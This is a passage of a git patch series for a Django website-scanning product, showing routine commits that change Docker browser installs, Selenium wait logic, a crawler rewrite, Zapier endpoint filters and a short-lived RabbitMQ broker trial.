 fi
 
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 678dbae4..8c18f7ff 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -7,8 +7,7 @@ then
   python3 manage.py migrate --no-input &&
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
-  python3 manage.py driver_s_test &&
-  python3 manage.py driver_p_test &&
+  python3 manage.py driver_test &&
   gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
 fi
 

From 7d90e3eec502fdfc63557202a48ddee0a8f8c2c3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 15:54:50 -0600
Subject: [PATCH 0610/1099] testing firefox installation

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 8e895722..03b053a4 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -27,7 +27,7 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig firefox
+    libfontconfig firefox-esr
 
 # installing gekodriver
 RUN curl -fL -o /tmp/geckodriver.tar.gz \

From 70b3f3cad9ae90ce741a36a9ab265a0d30f0645b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 18:45:33 -0600
Subject: [PATCH 0611/1099] testing new chrome configs for Dockerfile

---
 Dockerfile              | 23 ++++++++++++++---------
 Dockerfile.local        | 12 +-----------
 app/api/utils/driver.py |  1 +
 env/.env.dev.example    |  1 +
 env/.env.prod.example   |  1 +
 env/.env.stage.example  |  1 +
 6 files changed, 19 insertions(+), 20 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 03b053a4..c2b65b30 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,15 +29,20 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig firefox-esr
 
-# installing gekodriver
-RUN curl -fL -o /tmp/geckodriver.tar.gz \
-    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
-RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
-RUN chmod +x /tmp/geckodriver
-RUN mv /tmp/geckodriver /usr/local/bin/
-
-# Cleanup unnecessary stuff
-RUN apt-get purge -y --auto-remove
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
+RUN rm google-chrome-stable_current_amd64.deb
+
+# # installing gekodriver
+# RUN curl -fL -o /tmp/geckodriver.tar.gz \
+#     https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
+# RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
+# RUN chmod +x /tmp/geckodriver
+# RUN mv /tmp/geckodriver /usr/local/bin/
+
+# # Cleanup unnecessary stuff
+# RUN apt-get purge -y --auto-remove
 
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
diff --git a/Dockerfile.local b/Dockerfile.local
index 8782f9c3..a088467e 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -35,17 +35,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
-RUN rm google-chrome-stable_current_amd64.deb 
-
-# installing gekodriver
-RUN curl -fL -o /tmp/geckodriver.tar.gz \
-    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
-RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
-RUN chmod +x /tmp/geckodriver
-RUN mv /tmp/geckodriver /usr/local/bin/
-
-# Cleanup unnecessary stuff
-RUN apt-get purge -y --auto-remove
+RUN rm google-chrome-stable_current_amd64.deb
 
 # begin npm portion
 RUN npm cache clean --force
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 6cc369bc..c44ca80f 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -123,6 +123,7 @@ def driver_test() -> None:
     # testing selenium
     try:
         driver = driver_init()
+        driver.set_page_load_timeout(20)
         driver.get('https://google.com')
         title = driver.title
         assert title == 'Google'
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 31444d84..ce40e782 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -38,6 +38,7 @@ POSTGRES_PASSWORD=supersecretpassword
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
+FIREFOX_BROWSER = /usr/bin/firefox
 
 
 # stripe keys
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 9d6d9f46..b45812e4 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -34,6 +34,7 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
+FIREFOX_BROWSER = /usr/bin/firefox
 
 
 # stripe keys
diff --git a/env/.env.stage.example b/env/.env.stage.example
index 422f0828..d1b0d3c0 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -33,6 +33,7 @@ DB_PASS = supersecretpassword
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/google-chrome
+FIREFOX_BROWSER = /usr/bin/firefox
 
 
 # stripe keys

From 713b0e34c36ab1e5270ddb606ae84bb26de575b1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 19:02:00 -0600
Subject: [PATCH 0612/1099] added yellowlab to compose files

---
 docker-compose.dev.yml  | 15 +++++++++++++++
 docker-compose.prod.yml | 15 +++++++++++++++
 2 files changed, 30 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index db3d20f3..95fd5ee5 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,6 +61,21 @@ services:
       - db
 
 
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 922a80e9..36dece56 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -61,6 +61,21 @@ services:
       - db
 
 
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy

From e37b1dc0323356318b00f80d171b43f2bf7ce85b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 20:48:43 -0600
Subject: [PATCH 0613/1099] fixed some small bugs

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index dd334e62..6b6bf7bf 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1371,8 +1371,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # checking args
     site_id = '' if site_id is None else site_id
     page_id = '' if page_id is None else page_id
-    site_id = site_id if len(site_id) > 0 else None
-    page_id = page_id if len(page_id) > 0 else None
+    site_id = site_id if len(str(site_id)) > 0 else None
+    page_id = page_id if len(str(page_id)) > 0 else None
 
     # verifying types
     if len(types) == 0:
@@ -1964,8 +1964,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # checking args
     site_id = '' if site_id is None else site_id
     page_id = '' if page_id is None else page_id
-    site_id = site_id if len(site_id) > 0 else None
-    page_id = page_id if len(page_id) > 0 else None
+    site_id = site_id if len(str(site_id)) > 0 else None
+    page_id = page_id if len(str(page_id)) > 0 else None
 
     # deciding on scope
     resource = 'site' if site_id else 'page'

From 9091fc044a7d86ec9113d57c56fa994c4aaffeda Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 20:48:51 -0600
Subject: [PATCH 0614/1099] removed unused code

---
 Dockerfile              | 10 ----------
 app/api/utils/imager.py |  9 ---------
 2 files changed, 19 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c2b65b30..dffd7371 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,16 +34,6 @@ RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb
 
-# # installing gekodriver
-# RUN curl -fL -o /tmp/geckodriver.tar.gz \
-#     https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
-# RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
-# RUN chmod +x /tmp/geckodriver
-# RUN mv /tmp/geckodriver /usr/local/bin/
-
-# # Cleanup unnecessary stuff
-# RUN apt-get purge -y --auto-remove
-
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index ad5f28f0..f6454361 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -225,7 +225,6 @@ def scan_vrt(self, driver: object=None) -> list:
         last_height = -1
         bottom = False
         start_time = datetime.now()
-        err_mrgn = 0
         while not bottom:
 
             # checking if maxed out time
@@ -240,14 +239,6 @@ def scan_vrt(self, driver: object=None) -> list:
             # get current position and compare to previous
             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
-
-            # setting err_mrgn if not auto_height
-            if index == 0:
-                if not self.scan.configs.get('auto_height', False):
-                    print(f'{sizes[1]} - {new_height}')
-                    err_mrgn = int(sizes[1]) - int(new_height)
-                    print(f'setting error margin to {err_mrgn}')
-
             print(f'new_height => {new_height} | height_diff => {height_diff}')
 
             if height_diff > 20:

From 9099787f17d714ce7a55923ad2e4716af5e3a9f3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 22:24:06 -0600
Subject: [PATCH 0615/1099] fixed some minor bugs

---
 app/api/utils/driver.py    | 33 +++++++++++++++++++++++++--------
 app/api/v1/ops/services.py |  1 +
 2 files changed, 26 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index c44ca80f..4823865f 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -1,5 +1,6 @@
 from selenium import webdriver
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
+from datetime import datetime
 import time, os, sys
 
 
@@ -155,7 +156,7 @@ def driver_wait(
         interval: int=1, 
         max_wait_time: int=30, 
         min_wait_time: int=3
-    ) -> object:
+    ) -> bool:
     """
     Expects the driver instance and waits 
     for either the page to fully load or the max_wait_time
@@ -168,7 +169,7 @@ def driver_wait(
         'min_wait_time' : int
     }
 
-    Returns -> driver object
+    Returns -> bool (True if page is loaded)
     """
 
     def interact_with_page(driver):
@@ -182,7 +183,6 @@ def interact_with_page(driver):
         action.perform()
         return
 
-
     resolved = False
     page_state = 'loading'
     wait_time = 0
@@ -191,18 +191,35 @@ def interact_with_page(driver):
     time.sleep(min_wait_time)
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
+
+        # get current timestamp
+        pre_check_time = datetime.now()
+        
         # wait 1 sec or <interval:int> sec 
         time.sleep(interval)
 
-        page_state = driver.execute_script('return document.readyState')
+        try:
+            page_state = driver.execute_script('return document.readyState')
+        except Exception as e:
+            print(e)
+
+        # get time after waiting for script
+        post_check_time = datetime.now()
+
+        # get seconds between checks
+        time_to_add = (post_check_time - pre_check_time).total_seconds()
+
         print(f'document state is {page_state}')
+        if page_state == 'complete':
+            resolved = True
         
-        wait_time += interval
+        wait_time += time_to_add
     
-    # interacting with page once available
-    interact_with_page(driver)
+    # interacting with page if available
+    if resolved:
+        interact_with_page(driver)
 
-    return None
+    return resolved
 
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6b6bf7bf..15bdf4b9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -533,6 +533,7 @@ def crawl_site(request: object, id: str) -> object:
         return Response(data, status=check_data['status'])
 
     # update site info
+    site = Site.objects.get(id=id)
     site.time_crawl_completed = None
     site.save()
 

From 6c09edf6f54b9fe28c40b75ad6fa4d9b26c990ee Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 22:24:56 -0600
Subject: [PATCH 0616/1099] increased efficiency and speed of Crawler.py

---
 app/api/utils/crawler.py | 78 +++++++++++++++++++++++++++++++---------
 1 file changed, 61 insertions(+), 17 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 2e0a8e45..a84edff2 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,4 +1,3 @@
-import requests
 from bs4 import BeautifulSoup
 from .driver import *
 
@@ -40,8 +39,10 @@ def get_links(self) -> list:
         # which are within the same self.url domain
 
         follow_urls = []
-        crawled_urls = [self.url,]
+        crawled_urls = []
+        saved_urls = [self.url,]
         
+
         def url_is_valid(url: str=None) -> bool:
             # checks if the passed url is 
             # a valid url to follow and 
@@ -71,8 +72,16 @@ def url_is_valid(url: str=None) -> bool:
                     return False
             return True
 
-        
-        def add_urls(start_url):
+
+        def crawl_url(start_url: str=None, max_depth: int=5):
+
+            # adding url to list of crawled_urls
+            crawled_urls.append(start_url)
+            
+            # setting depth
+            depth = 0
+
+            # get requested start_url
             self.driver.get(start_url)
 
             # wait for page to load
@@ -86,7 +95,13 @@ def add_urls(start_url):
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
 
             # iterating through all <a> tags
+
             for link in soup.find_all('a'):
+                
+                # check if max_depth has been reached
+                if depth >= max_depth:
+                    break
+                
                 url = link.get('href')
                 if url is not None:
                     # validate url
@@ -97,37 +112,66 @@ def add_urls(start_url):
                         # check status of page
                         self.driver.get(url)
                         # wait for page to load
-                        driver_wait(
+                        resolved = driver_wait(
                             driver=self.driver,
                             max_wait_time=20, 
                             interval=2
                         )
-                        
-                        # req_status = requests.get(url).status_code
-                        # bad_status = [404, 500, 301]
 
+                        # skipping url if not responding
+                        if not resolved:
+                            continue
+                        
+                        # clean and decide to record url
                         if self.driver.current_url == url:
                             if url.endswith('/'):
                                 url = url.rstrip('/')
                             if not (url in follow_urls):
                                 follow_urls.append(url)
+                                depth += 1
+                                print(f'{depth} urls saved of {max_depth} allowed')
             
+    
+        def record_urls():
+            # adds all follow_urls to saved_urls
+            # if not already recorded
+            
+            max_reached = False
+            
+            # iterate through existing follow_urls
+            for url in follow_urls:
+                # pass if already crawled
+                if not url in crawled_urls:
+                    if not url in saved_urls:
+                        saved_urls.append(url)
+                        print(f'saving -> {url}')
+                    if len(saved_urls) >= self.max_urls:
+                        print('max pages reached')
+                        max_reached = True
+                        break
+            return max_reached
+       
         # layer 0
-        add_urls(self.url)
+        crawl_url(self.url, max_depth=self.max_urls)
 
         # iterate through layers
-        while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
+        while (len(follow_urls) > len(saved_urls)) and (len(saved_urls) < self.max_urls):
+            
+            # crawl each follow_url that 
+            # has not been crawled
             for url in follow_urls:
-                if not url in crawled_urls:
-                    crawled_urls.append(url)
-                    print(url)
-                    add_urls(url)
-                if len(crawled_urls) >= self.max_urls:
-                    print('max pages reached')
+                # add existing follow_urls first
+                max_reached = record_urls()
+                if max_reached:
                     break
+                
+                # crawl new url if not in crawled_urls
+                if not url in crawled_urls:
+                    crawl_url(url, max_depth=self.max_urls)
+
 
         # quit driver and return
         quit_driver(self.driver)
-        return crawled_urls
+        return saved_urls
 
 

From 8596e9894e305fd823c75a3e607ea8a225986727 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 10:04:25 -0600
Subject: [PATCH 0617/1099] added exception handling for autocaser

---
 app/api/utils/autocaser.py | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index d861d687..0d7e9588 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -937,7 +937,13 @@ def get_elements(self) -> list:
     def build_cases(self) -> None:
 
         # run get_elements
-        elements = self.get_elements()
+        try:
+            elements = self.get_elements()
+        except Exception as e:
+            # catching failures
+            print(e)
+            elements = []
+
 
         # get/decide on value for element
         def get_elem_value(element):

From 75b6fade5965db329a71b251b43af75f072493a9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 10:05:14 -0600
Subject: [PATCH 0618/1099] added 'status' and 'passed' filtering for tests and
 testcases zapier endpoints

---
 app/api/v1/ops/services.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 15bdf4b9..3098aacd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2489,6 +2489,7 @@ def get_tests_zapier(request: object) -> object:
     account = Member.objects.get(user=request.user).account
     page_id = request.query_params.get('page_id')
     site_id = request.query_params.get('site_id')
+    _status = request.query_params.get('status')
     tests = None
     
     # deciding on scope
@@ -2536,6 +2537,10 @@ def get_tests_zapier(request: object) -> object:
             post_scan=None,
         ).order_by('-time_created')
 
+    # filter my status if requested
+    if status is not None:
+        tests = tests.filter(status=_status)
+
     # build response data
     data = []
 
@@ -4646,6 +4651,7 @@ def get_testcases_zapier(request: object) -> object:
     """
 
     # get request data
+    passed = request.query_params.get('passed')
     account = Member.objects.get(user=request.user).account
     testcases = None
     
@@ -4669,6 +4675,10 @@ def get_testcases_zapier(request: object) -> object:
             time_completed=None,
         ).order_by('-time_created')
 
+    # filter by passed if requested
+    if passed is not None:
+        testcases = testcases.filter(passed=passed)
+
     # build response data
     data = []
 

From 1ecf88f67ea16ccb3ebaa621dada68594276fef5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 13:29:53 -0600
Subject: [PATCH 0619/1099] fixed naming bug in build_scan()

---
 app/api/utils/scanner.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 487b8be7..b8d21972 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -81,7 +81,7 @@ def build_scan(self) -> object:
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
-            driver=self.driver, 
+            driver=driver, 
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:

From d23683179456eb9bab1351819e36f89eb073a06e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 14:26:18 -0600
Subject: [PATCH 0620/1099] fixing issue with build_scan()

---
 app/api/utils/scanner.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b8d21972..b8f5fa14 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -81,7 +81,8 @@ def build_scan(self) -> object:
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
-            driver=driver, 
+            driver=driver,
+            browser=self.scan.configs['browser'],
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:

From 615f32d816d62a41c4a340f49d916c9130098bd2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 15:00:35 -0600
Subject: [PATCH 0621/1099] fixed configs mapping

---
 app/api/utils/lighthouse.py | 4 ++--
 app/api/utils/scanner.py    | 4 ++--
 app/api/utils/yellowlab.py  | 4 ++--
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f456b93f..b5ae08d1 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -16,11 +16,11 @@ class Lighthouse():
     """
 
 
-    def __init__(self, scan=None, configs=None):
+    def __init__(self, scan=None):
         self.scan = scan
         self.site = self.scan.site
         self.page = self.scan.page
-        self.configs = configs
+        self.configs = scan.configs
         self.sizes = configs['window_size'].split(',')
         self.audits_url = ''
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b8f5fa14..60eb69d7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -488,7 +488,7 @@ def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> obj
 
     try:
         # running lighthouse
-        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        lh_data = Lighthouse(scan=scan).get_data() 
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
@@ -525,7 +525,7 @@ def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> obje
     
     try:
         # running yellowlab
-        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        yl_data = Yellowlab(scan=scan).get_data()
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index f316c0a8..26ac2702 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -16,11 +16,11 @@ class Yellowlab():
     """
 
 
-    def __init__(self, scan=None, configs=None):
+    def __init__(self, scan=None):
         self.scan = scan
         self.site = self.scan.site
         self.page = self.scan.page
-        self.configs = configs
+        self.configs = scan.configs
         self.audits_url = ''
 
         # initial audits object

From 4647d9a83a64e14d28df7cf06aa830289e4f150a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 15:24:11 -0600
Subject: [PATCH 0622/1099] fixed naming issues in Lighthouse configs ref

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index b5ae08d1..106af72a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -21,7 +21,7 @@ def __init__(self, scan=None):
         self.site = self.scan.site
         self.page = self.scan.page
         self.configs = scan.configs
-        self.sizes = configs['window_size'].split(',')
+        self.sizes = scan.configs['window_size'].split(',')
         self.audits_url = ''
 
         # initial scores object

From 33b7ed1b9ebec7d458c0ad8ce736a03ba29c4f96 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 10:05:17 -0600
Subject: [PATCH 0623/1099] testing rabbitmq

---
 app/scanerr/settings.py           |  4 +--
 docker-compose.dev.yml            | 10 +++++++
 k8s/prod/rabbitmq-deployment.yaml | 49 +++++++++++++++++++++++++++++++
 notes/Kubernetes.md               |  1 +
 4 files changed, 62 insertions(+), 2 deletions(-)
 create mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index ae8f36da..b64bec0d 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-# CELERY_BROKER_URL = "amqp://rabbitmq"
+CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 95fd5ee5..0af3ef06 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -42,6 +42,14 @@ services:
       - "6379"
 
 
+  rabbitmq:
+    container_name: scanerr-rabbitmq
+    hostname: scanerr-rabbitmq
+    image: rabbitmq:alpine
+    ports:
+      - "5672"
+
+
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -56,6 +64,7 @@ services:
     volumes:
       - ./app:/scanerr
     depends_on:
+      - rabbitmq
       - redis
       - app
       - db
@@ -70,6 +79,7 @@ services:
     ports:
       - 8383:8383
     depends_on:
+      - rabbitmq
       - redis
       - celery 
       - app
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
new file mode 100644
index 00000000..18ada4c6
--- /dev/null
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -0,0 +1,49 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      service: rabbitmq
+  strategy: {}
+  template:
+    metadata:
+      labels:
+        service: rabbitmq
+    spec:
+      restartPolicy: Always
+      containers:
+        - image: rabbitmq:alpine
+          name: rabbitmq
+          ports:
+            - containerPort: 5672
+          resources: 
+            limits:
+              cpu: "250m"
+              memory: "250Mi"
+            requests:
+              cpu: "100m"
+              memory: "100Mi"
+status: {}
+
+
+
+---
+
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  ports:
+    - name: "5672"
+      port: 5672
+      targetPort: 5672
+  selector:
+    service: rabbitmq
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 02e5c765..123f3612 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -120,6 +120,7 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f ./k8s/prod/app-configs.yaml`
 - `kubectl apply -f ./k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/rabbitmq-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f ./k8s/prod/app-deployment.yaml`
 - `kubectl apply -f ./k8s/prod/celery-deployment.yaml`

From f7525dd44956658052c8d46d147044756d351178 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 10:48:35 -0600
Subject: [PATCH 0624/1099] added a catch for LH output cleaning

---
 app/api/utils/lighthouse.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 106af72a..301df274 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -79,9 +79,12 @@ def lighthouse_cli(self):
         stdout_string = stdout_value.decode('iso-8859-1')
 
         # clean string of any errors
-        delm = '{\n  "lighthouseVersion"'
-        stdout_string = delm + stdout_string.split(delm)[1]
-
+        try:
+            delm = '{\n  "lighthouseVersion"'
+            stdout_string = delm + stdout_string.split(delm)[1]
+        except Exception as e:
+            print(e)
+            
         # encode back to bytes
         stdout_value = stdout_string.encode('iso-8859-1')
         

From ff8fea33d48633132a385b4d1548bb8e23c91b5d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 10:49:49 -0600
Subject: [PATCH 0625/1099] added rabbitmq to containers as new messaging
 broker

---
 docker-compose.local.yml | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index fb2efa36..64e1b44c 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -39,6 +39,14 @@ services:
       - "6379"
   
 
+  rabbitmq:
+    container_name: scanerr-rabbitmq
+    hostname: scanerr-rabbitmq
+    image: rabbitmq:alpine
+    ports:
+      - "5672"
+
+
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -53,6 +61,7 @@ services:
     env_file:
       - ./env/.env.local
     depends_on:
+      - rabbitmq
       - db
       - redis
       - app
@@ -67,6 +76,7 @@ services:
     ports:
       - 8383:8383
     depends_on:
+      - rabbitmq
       - redis
       - celery 
       - app

From cbd4346e1905b857ac97d734f55688d63f02c1ac Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 11:47:55 -0600
Subject: [PATCH 0626/1099] reverting back to redis

---
 app/scanerr/settings.py | 4 ++--
 notes/Kubernetes.md     | 2 ++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index b64bec0d..ae8f36da 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-# CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
